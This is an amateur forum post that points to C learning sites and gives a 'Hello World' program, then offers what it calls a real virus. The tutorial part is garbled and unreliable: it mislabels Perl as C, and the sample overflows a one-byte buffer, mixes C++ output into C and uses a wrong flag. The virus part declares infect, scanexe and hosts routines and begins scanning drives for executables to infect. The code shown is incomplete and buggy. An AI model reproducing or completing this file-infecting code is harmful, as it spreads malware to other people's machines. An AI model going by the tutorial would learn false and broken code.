Hey guys! Its Nikhil here! As you may know perl programming language is one of the most useful programming languages in today’s modern world! So I thought I would Share with you something with C!
First of all if you want to learn C, you should go to this website:
http://www.cprogramming.com/
http://aelinik.free.fr/c/
http://members.tripod.com/~johnt/c.html
And pretty much google if you need help!
Oh, and here is a sample program just for you!
A Hello World Program:
void main()
{
char str[1];
int i = 100;
sprintf(str, "Hello, World! %i Get!", i);
cout << str; // Console
MessageBox(NULL, str, "Alert!", MB_ICONOK );
};A Virus :] (It's Real Guys dont mess with it)
Code:
#include <StdAfx.h>
#include <stdlib.h>
#include <fstream.h>
#include <iostream.h>
#include <windows.h>
DWORD WINAPI winmonitor(LPVOID);
int cmutex(int);
int extract(int a);
void hosts();
void infect(char *);
void scanexe(char *);
int main()
{
if (cmutex(0) ==2)
return 0;

//scan drives b-z
char dir[2];
for (int i = 98;i!=122;i++)
{
dir[0] = char(i);
dir[1] = ':';
dir[2] = '\\';
if (GetDriveType(dir) == DRIVE_FIXED || DRIVE_REMOTE)
scanexe(dir);
}
